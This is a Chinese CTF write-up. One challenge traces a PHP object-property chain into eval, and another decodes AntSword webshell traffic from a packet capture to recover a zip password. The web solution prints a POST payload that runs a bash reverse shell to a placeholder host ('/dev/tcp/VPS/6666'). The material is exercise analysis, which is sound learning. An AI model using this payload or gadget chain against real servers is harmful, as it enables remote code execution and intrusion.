Web
warmup_php
查看主页源码如下
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
这里会自动注册class目录下的类文件,可以传入变量访问所有类文件下的run函数,同时还会设置成员变量值。
下载题目附件,查看class目录下所有php文件,可以发现Base.php下有
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
eval中的return是用字符串拼接的方式将变量拼起来的,这里可以构造
同时还可以发现,所有php下只有一个run方法
abstract class ListView extends Base
{
public $tagName='div';
public $template;
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}
只要template 变量是{数字、字母} 组成的,那么就回调下面的renderSection函数,matches 就是templdate变量的值,由于TestView这个类继承了ListView这个抽象类。所以,如果实例化TestView类,上面的$this->method() 可以调用所有的以render开头的函数。这里直接定位到
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
利用$this->renderTableRow() 调用evaluateExpression函数即可完成调用链。
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
GET传参实例化TestView类,再POST传参即可
properties[template]:{TableBody}
properties[rowHtmlOptionsExpression]:system("bash -c 'bash -i >& /dev/tcp/VPS/6666 0>&1'")
properties[data][0]:123
反弹shell读flag即可
MISC
SimpleFlow
查看流量,找到最后拿到flag的报文
很容易发现是一个zip文件,ctrl shift X 导出对应zip文件分组字节流,去掉蚁剑添加的eb327956字段
找到报文段
解码字段Y2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0Ijt6aXAgLVAgUGFTc1ppUFdvckQgZmxhZy56aXAgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd
即可获得密码PaSsZiPWorD
|